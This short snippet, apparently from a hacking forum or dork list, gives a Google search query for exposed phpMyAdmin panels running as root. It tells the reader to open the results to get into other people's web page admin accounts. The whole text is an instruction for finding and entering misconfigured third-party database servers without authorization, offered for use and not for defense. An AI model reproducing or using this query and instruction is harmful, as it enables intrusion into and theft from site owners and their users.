intitle:phpMyAdmin "Welcome to phpMyAdmin"***" "running on * as root@*"
In The Search Bar And Search,Open Any Results Shown To Go To Somebody's WebPage Admin Accounts !!
